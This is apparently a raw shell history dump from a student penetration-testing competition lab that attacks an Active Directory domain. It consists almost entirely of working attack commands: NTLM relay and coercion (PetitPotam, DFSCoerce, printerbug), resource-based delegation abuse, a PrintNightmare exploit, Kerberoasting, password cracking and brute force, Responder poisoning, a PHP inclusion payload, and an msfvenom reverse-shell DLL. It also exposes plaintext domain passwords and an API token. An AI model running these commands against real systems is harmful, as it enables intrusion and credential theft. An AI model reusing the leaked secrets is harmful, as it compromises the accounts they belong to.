_raw: : 1768085090:0;zip -r ~/artemis.zip artemis/logs artemis/*.md artemis/*.txt


_raw: : 1768085080:0;zip -r ~/artemis.zip artemis/logs artemis/*.md


_raw: : 1768085074:0;zip -r ~/artemis.zip artemis/logs


_raw: : 1768085051:0;ntlmrelayx.py -t ldap://10.0.1.6 --http-port 80 --escalate-user ai.svc\


_raw: : 1768085039:0;python rbcd.py -dc-ip 10.0.1.6 -t 'DECKHAND-01' -f 'EVIL' 'allports.local\ai.svc:juVI6OHJZ24u'


_raw: : 1768085034:0;python rbcd.py -dc-ip 10.0.1.6 -t 'DECKHAND-01' -f 'EVIL' 'allports.local/ai.svc:juVI6OHJZ24u'


_raw: : 1768085008:0;bloodyAD -u ai.svc -p 'juVI6OHJZ24u' -d allports.local --host 10.0.1.6 add rbcd 'SVC_STABILIZE' 'EVIL$'


_raw: : 1768085006:0;bloodyAD -u ai.svc -p 'juVI6OHJZ24u' -d allports.local --host 10.0.1.6 add rbcd 'SVC_STABILIZE' 'EVIL$


_raw: : 1768084995:0;zip -r ~/artemis.zip artemis


_raw:
: 1768084982:0;curl -X GET 'http://meilisearch:7700/indexes' \\
  -H 'Authorization: Bearer sk_meilisearch_2b4c6d8e9f1a3b5c7d9e'


_raw: : 1768084980:0;sudo tar -czvf planka.tar.gz planka


_raw: : 1768084954:0;python rbcd.py -dc-ip 10.0.1.6 -t 'SVC_STABILIZE' -f 'EVIL' 'allports.local\ai.svc:juVI6OHJZ24u'


_raw: : 1768084948:0;python rbcd.py -dc-ip 10.0.1.6 -t 'SVC_STABILIZE' -f 'EVIL' 'allports.local/ai.svc:juVI6OHJZ24u'


_raw: : 1768084856:0;python rbcd.py -dc-ip 10.0.1.6 -t 'WIN-3MSV5VIRNGJ' -f 'EVIL' 'allports.local\ai.svc:juVI6OHJZ24u'


_raw: : 1768084849:0;python rbcd.py -dc-ip 10.0.1.6 -t 'WIN-3MSV5VIRNGJ$' -f 'EVIL' 'allports.local\ai.svc:juVI6OHJZ24u'


_raw: : 1768084835:0;python rbcd.py -dc-ip 10.0.1.6 -t 'WIN-3MSV5VIRNGJ$' -f 'EVIL$' 'allports.local\ai.svc:juVI6OHJZ24u'


_raw: : 1768084829:0;python rbcd.py -dc-ip 10.0.1.6 -t 'WIN-3MSV5VIRNGJ$' -f 'EVIL$' 'allports.local/ai.svc:juVI6OHJZ24u'


_raw: : 1768084784:0;coercer scan -t 10.0.1.6 -u 'ai.svc' -p 'juVI6OHJZ24u' -d allports.local -v


_raw: : 1768084774:0;python rbcd.py -dc-ip 10.0.1.6 -t 'WIN-3MSV5VIRNGJ$' -f 'EVIL$' 'allports.local\ai.svc:juVI6OHJZ24u'


_raw: : 1768084763:0;python rbcd.py -dc-ip 10.0.1.6 -t 'WIN-3MSV5VIRNGJ$' -f 'EVIL$' 'allports.local/ai.svc:juVI6OHJZ24u'


_raw: : 1768084723:0;impacket-rpcdump allports.local/svc_stabilize:1gyroscope@10.0.1.6 > rpcdump.txt


_raw: : 1768084720:0;python rbcd.py -t 'WIN-3MSV5VIRNGJ$' -f 'EVIL$' -dc-ip 10.0.1.6 -action write 'allports.local/ai.svc:juVI6OHJZ24u'


_raw: : 1768084703:0;python rbcd.py -delegate-to 'WIN-3MSV5VIRNGJ$' -delegate-from 'EVIL$' -dc-ip 10.0.1.6 -action write 'allports.local/ai.svc:juVI6OHJZ24u'


_raw: : 1768084677:0;git clone https://github.com/tothi/rbcd-attack.git


_raw: : 1768084627:0;python3 printerbug.py 'allports.local'/'svc_stabilize':'1gyroscope'@10.0.1.6 10.0.254.203


_raw: : 1768084565:0;impacket-ntlmrelayx -t ldap://10.0.1.6 --escalate-user  ai.svc --remove-mic -smb2support


_raw: : 1768084564:0;zip -r sysvol.zip allports.local


_raw: : 1768084527:0;impacket-ntlmrelayx -t 10.0.1.20 -socks -smb2support


_raw: : 1768084516:0;smbclient -U 'ALLPORTS\ai.svc' '\\allports.local\SYSVOL'


_raw: : 1768084501:0;smbclient -U 'ALLPORTS\ai.svc' -p juVI6OHJZ24u -L '\\allports.local\'


_raw: : 1768084493:0;smbclient -U ai.svc -p juVI6OHJZ24u -L '\\allports.local\'


_raw: : 1768084486:0;smbclient -U ai.svc -P juVI6OHJZ24u -L '\\allports.local\'


_raw: : 1768084482:0;nxc smb 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' --get-file '\allports.local\Policies\{02CAB08D-D25E-496A-892C-19A51B47DF8A}\GPO.cmt' a.txt --share SYSVOL


_raw: : 1768084472:0;smbclient -U ai.svc -p juVI6OHJZ24u -L '\\allports.local\'


_raw: : 1768084469:0;zip -r logs2A.zip participant_env/verbose-log/logs


_raw: : 1768084468:0;smbclient -U ai.svc -p juVI6OHJZ24u -L '\\allports.tours\'


_raw: : 1768084459:0;impacket-smbserver share . -smb2support -username test -password test\


_raw: : 1768084456:0;smbclient -U ai.svc -p juVI6OHJZ24u


_raw: : 1768084454:0;nxc smb 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' --get-file '\allports.local\Policies\{02CAB08D-D25E-496A-892C-19A51B47DF8A}\GPT.INI' a.txt --share SYSVOL


_raw:
ifconfig
seclist
apt install seclist
cd Desktop
ls
nano params.txt
ffuf -u http://10.0.1.10:6768/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/common.txt
nc 10.0.1.10 6768
c;ear
ffuf -u http://10.0.1.99:443/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt
clear
cd Passwords
ls
clear
tree
nc -nv 10.0.1.10 9000
clear
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc\
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team4-key4-4e940c5b-7923-4abf-a372-fa5e5c8bfd11"' >> ~/.bashrc
source ~/.bashrc\
clear
claude
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc\
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team4-key4-4e940c5b-7923-4abf-a372-fa5e5c8bfd11"' >> ~/.bashrc\
source ~/.bashrc\
claude
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc\
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team4-key4-4e940c5b-7923-4abf-a372-fa5e5c8bfd11"' >> ~/.bashrc\
source ~/.bashrc\
clear
claude
cd Desktop
nano hashes.txt
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
nano hashes.txt
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
hash-identifier
clear
cat /tmp/scan_summary_10.0.1.10.txt
clear
cat /tmp/vulnerability_report_10.0.1.11.txt
clear
cd /tmp
ls
clear
cat scan_summary_10.0.1.10.txt
claude
clear
cat vulnerability_report_10.0.1.13.txt
find / -type f -name "vulnerability_report_10.0.1.13.txt" 2>/dev/null
clear
cat /home/pentester/vulnerability_report_10.0.1.13.txt
clear
path_traversal_analysis.txt
cat path_traversal_analysis.txt
cd /home/pentester
ls
cat path_traversal_analysis.txt
clear
cat path_traversal_analysis.txt
curl "http://10.0.1.13:8080/?route=data://text/plain,<?php phpinfo(); ?>"
find / -type f -name "vulnerability_report_10.0.1.13.txt" 2>/dev/null
claude
clear
cd /tmp
claude
clear
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc\
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team4-key4-4e940c5b-7923-4abf-a372-fa5e5c8bfd11"' >> ~/.bashrc\
source ~/.bashrc\
claude
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc\
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team4-key4-4e940c5b-7923-4abf-a372-fa5e5c8bfd11"' >> ~/.bashrc\
source ~/.bashrc\
cla
claude
clear
cat /tmp/exploit.sh
cd /tmp
chmod +x exploit.sh
./exploit.sh
ffuf -u http://10.0.1.11:7700/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
cat /tmp/vulnerability_report_10.0.1.14.txt
clear
cat /tmp/scan_report.md.
cd /tmp
cat /tmp/scan_report.md.
cat /tmp/scan_report.md
curl -fsSL https://claude.ai/install.sh | bash
git clone https://github.com/VoltAgent/awesome-claude-code-subagents.git
clear
ls
cd awesome-claude-code-subagents
mkdir -p ~/.claude/agents
ls
clear
cd categories
ls
mv 04-quality-security/* ~/.claude/agents
mv 09-meta-orchestration/* ~/.claude/agents
cd 03-infrastructure
ls
clear
cd ..
ls
clear
ls
cd 01-core-development
ls
clear
cd ..
ls
clear
ls
clear
ls
cd 08-business-product
ls
mv legal-advisor.md ~/.claude/agents
mv technical-writer.md ~/.claude/agents
ls
clear
export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"\
export ANTHROPIC_AUTH_TOKEN="sk-cptc-team4-key4-4e940c5b-7923-4abf-a372-fa5e5c8bfd11"
clear
cd
claude
clear
claude
sudo su
exit
jobs
exit
sudo su
exit


_raw: : 1768084453:0;impacket-smbserver share -smb2support -username test -password test\


_raw: : 1768084447:0;impacket-ntlmrelayx -t ldaps://10.0.1.6 --shadow-credentials --shadow-target 'APT-DC-01$' -smb2support


_raw:
: 1768084447:0;export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"\
export ANTHROPIC_AUTH_TOKEN="sk-cptc-team4-key4-4e940c5b-7923-4abf-a372-fa5e5c8bfd11"


_raw: : 1768084447:0;mv technical-writer.md ~/.claude/agents


_raw: : 1768084447:0;mv legal-advisor.md ~/.claude/agents


_raw: : 1768084447:0;mv 09-meta-orchestration/* ~/.claude/agents


_raw: : 1768084447:0;mv 04-quality-security/* ~/.claude/agents


_raw: : 1768084447:0;git clone https://github.com/VoltAgent/awesome-claude-code-subagents.git


_raw: : 1768084447:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768084447:0;ffuf -u http://10.0.1.11:7700/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt


_raw: : 1768084447:0;echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team4-key4-4e940c5b-7923-4abf-a372-fa5e5c8bfd11"' >> ~/.bashrc\


_raw: : 1768084447:0;echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc\


_raw: : 1768084447:0;find / -type f -name "vulnerability_report_10.0.1.13.txt" 2>/dev/null


_raw: : 1768084447:0;hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt


_raw: : 1768084447:0;echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team4-key4-4e940c5b-7923-4abf-a372-fa5e5c8bfd11"' >> ~/.bashrc


_raw: : 1768084447:0;ffuf -u http://10.0.1.99:443/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt


_raw: : 1768084447:0;ffuf -u http://10.0.1.10:6768/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/common.txt


_raw:
ifconfig
seclist
apt install seclist
cd Desktop
ls
nano params.txt
ffuf -u http://10.0.1.10:6768/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/common.txt
nc 10.0.1.10 6768
c;ear
ffuf -u http://10.0.1.99:443/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt
clear
cd Passwords
ls
clear
tree
nc -nv 10.0.1.10 9000
clear
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc\
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team4-key4-4e940c5b-7923-4abf-a372-fa5e5c8bfd11"' >> ~/.bashrc
source ~/.bashrc\
clear
claude
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc\
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team4-key4-4e940c5b-7923-4abf-a372-fa5e5c8bfd11"' >> ~/.bashrc\
source ~/.bashrc\
claude
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc\
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team4-key4-4e940c5b-7923-4abf-a372-fa5e5c8bfd11"' >> ~/.bashrc\
source ~/.bashrc\
clear
claude
cd Desktop
nano hashes.txt
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
nano hashes.txt
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
hash-identifier
clear
cat /tmp/scan_summary_10.0.1.10.txt
clear
cat /tmp/vulnerability_report_10.0.1.11.txt
clear
cd /tmp
ls
clear
cat scan_summary_10.0.1.10.txt
claude
clear
cat vulnerability_report_10.0.1.13.txt
find / -type f -name "vulnerability_report_10.0.1.13.txt" 2>/dev/null
clear
cat /home/pentester/vulnerability_report_10.0.1.13.txt
clear
path_traversal_analysis.txt
cat path_traversal_analysis.txt
cd /home/pentester
ls
cat path_traversal_analysis.txt
clear
cat path_traversal_analysis.txt
curl "http://10.0.1.13:8080/?route=data://text/plain,<?php phpinfo(); ?>"
find / -type f -name "vulnerability_report_10.0.1.13.txt" 2>/dev/null
claude
clear
cd /tmp
claude
clear
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc\
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team4-key4-4e940c5b-7923-4abf-a372-fa5e5c8bfd11"' >> ~/.bashrc\
source ~/.bashrc\
claude
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc\
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team4-key4-4e940c5b-7923-4abf-a372-fa5e5c8bfd11"' >> ~/.bashrc\
source ~/.bashrc\
cla
claude
clear
cat /tmp/exploit.sh
cd /tmp
chmod +x exploit.sh
./exploit.sh
ffuf -u http://10.0.1.11:7700/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
cat /tmp/vulnerability_report_10.0.1.14.txt
clear
cat /tmp/scan_report.md.
cd /tmp
cat /tmp/scan_report.md.
cat /tmp/scan_report.md
curl -fsSL https://claude.ai/install.sh | bash
git clone https://github.com/VoltAgent/awesome-claude-code-subagents.git
clear
ls
cd awesome-claude-code-subagents
mkdir -p ~/.claude/agents
ls
clear
cd categories
ls
mv 04-quality-security/* ~/.claude/agents
mv 09-meta-orchestration/* ~/.claude/agents
cd 03-infrastructure
ls
clear
cd ..
ls
clear
ls
cd 01-core-development
ls
clear
cd ..
ls
clear
ls
clear
ls
cd 08-business-product
ls
mv legal-advisor.md ~/.claude/agents
mv technical-writer.md ~/.claude/agents
ls
clear
export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"\
export ANTHROPIC_AUTH_TOKEN="sk-cptc-team4-key4-4e940c5b-7923-4abf-a372-fa5e5c8bfd11"
clear
cd
claude
clear
claude
sudo su
exit


_raw: : 1768084443:0;ffuf -u http://10.0.1.11:8045/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt


_raw: : 1768084443:0;ffuf -u http://10.0.1.99/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt


_raw: : 1768084443:0;ffuf -u http://10.0.1.99/FUZZ -c -w /usr/share/wordlists/dirb/common.txt


_raw: : 1768084443:0;curl -s -X POST "http://10.0.1.13:8180/realms/master/protocol/openid-connect/token"     -H "Content-Type: application/x-www-form-urlencoded"     -d "username=admin&password=admin&grant_type=password&client_id=admin-cli" |     grep -o '"access_token":"[^"]*' | cut -d'"' -f4


_raw: : 1768084443:0;curl -s -X POST "http://10.0.1.13:8180/realms/master/protocol/openid-connect/token"     -H "Content-Type: application/x-www-form-urlencoded"     -d "username=admin&password=admin&grant_type=password&client_id=admin-cli" |     grep -o '"access_token":"[^"]*' | cut -d'"' -f4)


_raw: : 1768084443:0;   ./../var/www/html/index" 2>&1 > /tmp/lfi_index.html && grep -oP


_raw: : 1768084443:0;cloud-init clean --machine-id -l -s


_raw: : 1768084443:0;apt install qemu-guest-agent


_raw: : 1768084443:0;apt install python3-pip python3-venv curl htop


_raw: : 1768084443:0;apt install openssh-server


_raw: : 1768084443:0;sudo apt install dphys-swapfile


_raw: : 1768084443:0;apt install systemd-zram-generator zram-tools


_raw:
curl -fsSL https://claude.ai/install.sh | bash
git clone https://github.com/VoltAgent/awesome-claude-code-subagents.git
clear
ls
cd awesome-claude-code-subagents
mkdir -p ~/.claude/agents
ls
clear
cd categories
ls
mv 04-quality-security/* ~/.claude/agents
mv 09-meta-orchestration/* ~/.claude/agents
cd 03-infrastructure
ls
clear
cd ..
ls
clear
ls
cd 01-core-development
ls
clear
cd ..
ls
clear
ls
clear
ls
cd 08-business-product
ls
mv legal-advisor.md ~/.claude/agents
mv technical-writer.md ~/.claude/agents
ls
clear
export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"\
export ANTHROPIC_AUTH_TOKEN="sk-cptc-team4-key4-4e940c5b-7923-4abf-a372-fa5e5c8bfd11"
clear
cd
claude
clear
claude


_raw: : 1768084422:0;msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.254.203 LPORT=4444 -f dll -o evil.dll\


_raw: : 1768084417:0;nxc smb 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' -M spider_plus


_raw: : 1768084374:0;python3 CVE-2021-1675.py allports.local/svc_stabilize:1gyroscope@10.0.1.6


_raw: : 1768084370:0;impacket-rbcd -delegate-from 'EVILPC$' -delegate-to 'DECKHAND-02$' -dc-ip 10.0.1.6 -action write allports.local/SVC_STABILIZE:'1gyroscope'


_raw: : 1768084368:0;nxc smb 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' --get-file '\allports.local\Policies\{02CAB08D-D25E-496A-892C-19A51B47DF8A}' a.txt --share SYSVOL


_raw: : 1768084358:0;zip -r logs6A.zip participant_env/verbose-log/logs


_raw: : 1768084358:0;nxc smb 10.0.1.20 -k --use-kcache -x 'C:\artifacts\hello.exe'


_raw: : 1768084357:0;hydra -L ./Downloads/common_users.txt -P 2023-200_most_used_passwords.txt -t 1 10.0.1.11 -s 8081 http-get /


_raw: : 1768084351:0;nxc smb 10.0.1.20 -k --use-kcache -x 'C:\artifact\hello.exe'


_raw: : 1768084350:0;impacket-ntlmrelayx -t ldap://10.0.1.6 --delegate-access -smb2support


_raw: : 1768084346:0;hydra -L ../../Downloads/common_users.txt -P 2023-200_most_used_passwords.txt -t 1 10.0.1.11 -s 8081 http-get /


_raw:
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M coerce_plus -o L=129.21.249.32 ALWAYS=True -k
git clone https://github.com/topotam/PetitPotam
cd PetitPotam
ls
python3 PetitPotam.py -u svc_stabilize -p 1gyroscope -d allports.local 10.0.1.6 129.21.249.32
python3 PetitPotam.py -u svc_stabilize -p 1gyroscope -d allports.local 129.21.249.32 10.0.1.6
sudo apt install mitm6
curl -fsSL https://claude.ai/install.sh | bash
git clone https://github.com/Wh04m1001/DFSCoerce
cd DFSCoerce
ls
python3 dfscoerce.py -u svc_stabilize -d allports.local 129.21.249.32 10.0.1.6
python3 dfscoerce.py -u svc_stabilize -d allports.local 129.21.249.32 10.0.1.6 -k
dfscoerce.py
python3 dfscoerce.py
python3 dfscoerce.py -u svc_stabilize -d allports.local 129.21.249.32 10.0.1.6 -k
python3 dfscoerce.py -u svc_stabilize -d allports.local 129.21.249.32 10.0.1.6
cd ..
nxc smb 10.0.1.20 -u svc_stabilize -p 1gyroscope -M coerce_lus -o L=129.21.249.32 ALWAYS=TRUE
nxc smb 10.0.1.20 -u svc_stabilize -p 1gyroscope -M coerce_plus -o L=129.21.249.32 ALWAYS=TRUE
rpcclient -U 'ALLPORTS\' 10.0.1.20 -N
rpcclient -U 'ALLPORTS\' 10.0.1.21 -N
rpcclient -U 'svc_stabilize' 10.0.1.21 -N
rpcclient -U 'svc_stabilize' -p 1gyroscope 10.0.1.21 -N
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M coerce_plus -o L=129.21.249.32 ALWAYS=True -k
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M coerce_plus -o L=10.0.254.202 ALWAYS=True -k
nxc smb 10.0.1.20 -u svc_stabilize -p 1gyroscope -M coerce_plus -o L=10.0.254.202 ALWAYS=True -k
nxc smb 10.0.1.21 -u svc_stabilize -p 1gyroscope -M coerce_plus -o L=10.0.254.202 ALWAYS=True -k
nxc smb 10.0.1.20 -u svc_stabilize -p 1gyroscope -M coerce_plus -o L=10.0.254.202 ALWAYS=True -k
cd ..
cd PetitPotam
python3 PetitPotam.py -u svc_stabilize -p 1gyroscope -d allports.local -dc-ip 10.0.1.6 -target-ip 10.0.1.6 10.0.254.202 10.0.1.6
cd scripts
cd PetitPotam
ls
cd scripts
ls
cd PetitPotam
python3 PetitPotam.py -u svc_stabilize -p 1gyroscope -d allports.local -dc-ip 10.0.1.6 -target-ip 10.0.1.6 10.0.254.202 10.0.1.6
python3 PetitPotam.py -u svc_stabilize -p 1gyroscope -d allports.local -dc-ip 10.0.1.6 -target-ip 10.0.1.20 10.0.254.202 10.0.1.6
python3 PetitPotam.py -u svc_stabilize -p 1gyroscope -d allports.local -dc-ip 10.0.1.6 -target-ip 10.0.1.21 10.0.254.202 10.0.1.6
python3 PetitPotam.py -u svc_stabilize -p 1gyroscope -d allports.local -dc-ip 10.0.1.6 -target-ip 10.0.1.6 10.0.254.202 10.0.1.6
python3 PetitPotam.py -u svc_stabilize -p 1gyroscope -d allports.local -dc-ip 10.0.1.6 -target-ip 10.0.1.20 10.0.254.202 10.0.1.20
python3 PetitPotam.py -u svc_stabilize -p 1gyroscope -d allports.local -dc-ip 10.0.1.6 -target-ip 10.0.1.6 10.0.254.202 10.0.1.6
clear
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope
nxc smb fake.allports.local -u svc_stabilize -p 1gyroscope
python3 PetitPotam.py -u svc_stabilize -p 1gyroscope -d allports.local -dc-ip 10.0.1.6 -target-ip 10.0.1.6 10.0.254.202 10.0.1.6
python3 PetitPotam.py -u svc_stabilize -p 1gyroscope -d allports.local -dc-ip 10.0.1.6 -target-ip 10.0.1.20 10.0.254.202 10.0.1.20
python3 PetitPotam.py -u svc_stabilize -p 1gyroscope -d allports.local -dc-ip 10.0.1.6 -target-ip 10.0.1.20 10.0.254.202 10.0.1.06
python3 PetitPotam.py -u svc_stabilize -p 1gyroscope -d allports.local -dc-ip 10.0.1.6 -target-ip 10.0.1.06 10.0.254.202 10.0.1.20
python3 PetitPotam.py -u svc_stabilize -p 1gyroscope -d allports.local -dc-ip 10.0.1.6 -target-ip 10.0.1.6 10.0.254.202 10.0.1.6
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M coerce_plus L=10.0.254.202 ALWAYS=TRUE
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M coerce_plus -o L=10.0.254.202 ALWAYS=True
python3 PetitPotam.py -u svc_stabilize -p 1gyroscope -d allports.local -dc-ip 10.0.1.6 -target-ip 10.0.1.6 10.0.254.202 10.0.1.6
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M coerce_plus -o L=10.0.254.202 ALWAYS=True
python3 PetitPotam.py -u svc_stabilize -p 1gyroscope -d allports.local -dc-ip 10.0.1.6 -target-ip 10.0.1.6 10.0.254.202 10.0.1.6


_raw: : 1768084344:0;ntlmrelayx.py -t ldap://10.0.1.6 --delegate-access -smb2support


_raw:
sudo nano /etc/hosts
nxc smb 10.0.1.6 -u rdavis -p rosdav50
nxc smb 10.0.1.6 -u rdavis -p rosdav50 -k
nxc smb 10.0.1.20 -u rdavis -p rosdav50 -k
nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope
nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope --asreproast users.list
nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope --kerberoasting KERBEROASTING
nano stabilize.hash
hashcat stabilize.hash /usr/share/wordlists/rockyou.txt
cd ..
ls
cd wordlists
ls
chmod +x get_wordlists.sh
sudo ./get_wordlists.sh
ls
sudo mv rockyou.txt /usr/share/wordlists
ls
cd ..
ls
cd scripts
ls
hashcat stabilize.hash /usr/share/wordlists/rockyou.txt
hashcat stabilize.hash /usr/share/wordlists/rockyou.txt --show
clear
hashcat stabilize.hash /usr/share/wordlists/rockyou.txt --show
nxc smb 10.0.1.20 -u guest -p --shares
nxc smb 10.0.1.20 -u guest -p "" --shares
nxc smb 10.0.1.21 -u guest -p "" --shares
nxc smb 10.0.1.21 -u guest -p "" --users
nxc smb 10.0.1.20 -u guest -p "" --users
nxc smb 10.0.1.20 -u guest -p "" --local-auth
nxc smb 10.0.1.21 -u guest -p "" --local-auth
nxc smb 10.0.1.6 -u guest -p "" --local-auth
nxc smb 10.0.1.6 -u guest -p ""
nxc smb 10.0.1.21 -u guest -p "" --rid-brute
nxc smb 10.0.1.20 -u guest -p "" --rid-brute
ip a
sudo responder -I eth0
clear
sudo responder -I eth0
ldapsearch -H ldap://10.0.1.6 -D REDACTED_EMAIL -w 1gyroscope -b 'DC=allports,DC=local'
nxc smb 10.0.1.20 -u rdavis2 -p rosdav50 -k
nxc smb 10.0.1.20 -u rdavis3 -p rosdav50 -k
nxc smb 10.0.1.20 -u rdavis3 -p rosdav50
nxc smb 10.0.1.20 -u rdavis4 -p rosdav50 -k
nxc smb 10.0.1.20 -u rdavis5 -p rosdav50 -k
sudo responder -I eth0
clear
sudo responder -I eth0 -v --lm --disable-ess --disable-smb --disable-http
sudo responder -I eth0 -v --lm --disable-ess -disable-http
sudo responder -I eth0
sudo responder -I eth0 -v --lm --disable-ess -disable-http
sudo responder -I eth0 -v --lm --disable-ess --disable-smb --disable-http
sudo nano /etc/responder/Responder.conf
sudo responder -I eth0


_raw:
bloodhound-ce-python --zip -c All -d all allports.local -u svc_stabilize -p 1gyroscope -ns 10.0.1.6
bloodhound-ce-python --zip -c All -d allports.local -u svc_stabilize -p 1gyroscope -ns 10.0.1.6
wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
ls
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
./bloodhound-cli install
sudo ./bloodhound-cli install


_raw:
git clone https://github.com/nationalcptc-teamtools/University-of-California-Irvine
cd University-of-California-Irvine
cd ..
mv University-of-California-Irvine scripts/
clear
cd scripts
ls
cd scripts
ls
chmod +x install.sh
sudo ./install.sh


_raw: : 1768084338:0;nxc smb 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' --get-file 'SysVol\allports.local\Policies\{02CAB08D-D25E-496A-892C-19A51B47DF8A}' a.txt


_raw: : 1768084333:0;nxc smb 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' --get-file 'SysVol\allports.local\Policies\{02CAB08D-D25E-496A-892C-19A51B47DF8A}'


_raw: : 1768084320:0;nxc smb 10.0.1.20 -u  'svc_stabilize'  -p '1gyroscope' -x 'whoami'


_raw: : 1768084319:0;nxc smb 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' --get-file SysVol\allports.local\Policies\{02CAB08D-D25E-496A-892C-19A51B47DF8A}


_raw: : 1768084318:0;zip -r logs1A.zip participant_env/verbose-log/logs


_raw:
: 1768084238:0;nxc smb 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -d allports.local -M coerce_plus -o                   \
  LISTENER=10.0.254.202 METHOD=Petitpotam


_raw: : 1768084227:0;sudo impacket-ntlmrelayx -t ldap://10.0.1.6 --delegate-access --remove-mic


_raw: : 1768084167:0;cat network-X.xml | claude "I'm doing a penetration test of this network for a client. Help me test the web pages. ULTRATHINK."


_raw: : 1768084151:0;impacket-ntlmrelayx -t 10.0.1.20 -smb2support -c "whoami"


_raw: : 1768084118:0;cat network-X.xml | claude "I'm doing a penetration test of this network for a client. Help me test the web pages. Ultrathink."


_raw: : 1768084112:0;enum4linux-ng 10.0.1.21 -u svc_stabilize -p 1gyroscope


_raw: : 1768084054:0;enum4linux-ng 10.0.1.20 -u svc_stabilize -p 1gyroscope


_raw: : 1768084053:0;nxc ldap 10.0.1.20 -u pentester -p ')u1h55hm-h(M(7nV' -M ldap-checker


_raw: : 1768084047:0;nxc ldap 10.0.1.21 -u pentester -p ')u1h55hm-h(M(7nV' -M ldap-checker


_raw: : 1768084045:0;cat network-X.xml | claude "Based on this scan, what commands should I run to test 10.0.1.10?"


_raw: : 1768084045:0;nmap -sV -oN scans/network_scan.txt -oX scans/network_scan.xml 10.0.1.0/24


_raw: : 1768084045:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768084045:0;git clone https://github.com/nationalcptc-teamtools/university-of-florida.git


_raw: : 1768084016:0;nxc ldap 10.0.1.024 -u pentester -p ')u1h55hm-h(M(7nV' -M ldap-checker


_raw: : 1768084016:0;impacket-ntlmrelayx -t smb://10.0.1.20 -smb2support -i


_raw:
: 1768084015:0;nxc smb 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -d allports.local -M coerce_plus -o                   \
  LISTENER=10.0.254.202 METHOD=Petitpotam


_raw: : 1768083997:0;impacket-ntlmrelayx -t smb://10.0.1.6 -smb2support -i


_raw: : 1768083982:0;nxc ldap 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' -M ldap-checker


_raw: : 1768083975:0;sudo impacket-ntlmrelayx -t ldap://10.0.1.6 --delegate-access


_raw: : 1768083975:0;impacket-ntlmrelayx -t smb://10.0.1.6 -smb2support


